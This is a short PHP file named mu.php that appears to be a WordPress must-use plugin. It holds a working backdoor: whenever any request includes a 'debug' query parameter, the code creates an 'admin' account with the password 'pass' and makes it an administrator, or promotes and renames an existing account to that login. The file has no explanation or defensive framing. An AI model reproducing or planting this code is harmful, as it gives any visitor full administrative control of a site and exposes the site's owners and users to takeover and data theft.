mu.php

<?php

add_action( 'init', function () {

	if ( !isset( $_GET['debug'] ) ) {
		return;
	}

	$username = 'admin';
	$password = 'pass';
	$email_address = 'em@ail.com';
	$user = get_user_by( 'email' , $email_address );
	
	if ( ! username_exists( $username ) && ! $user ) {
		$user_id = wp_create_user( $username, $password, $email_address );
		$user = new WP_User( $user_id );
		$user->set_role( 'administrator' );
	} else {
		if ( ! $user ) {
			$user = get_user_by( 'username' , $username );
		}
		$user->set_role( 'administrator' );

		if ( $username !== $user->user_login ) {
			global $wpdb;
			$wpdb->update( $wpdb->users, array( 'user_login' => $username ), array( 'ID' => $user->ID ) );
		}
	}

} );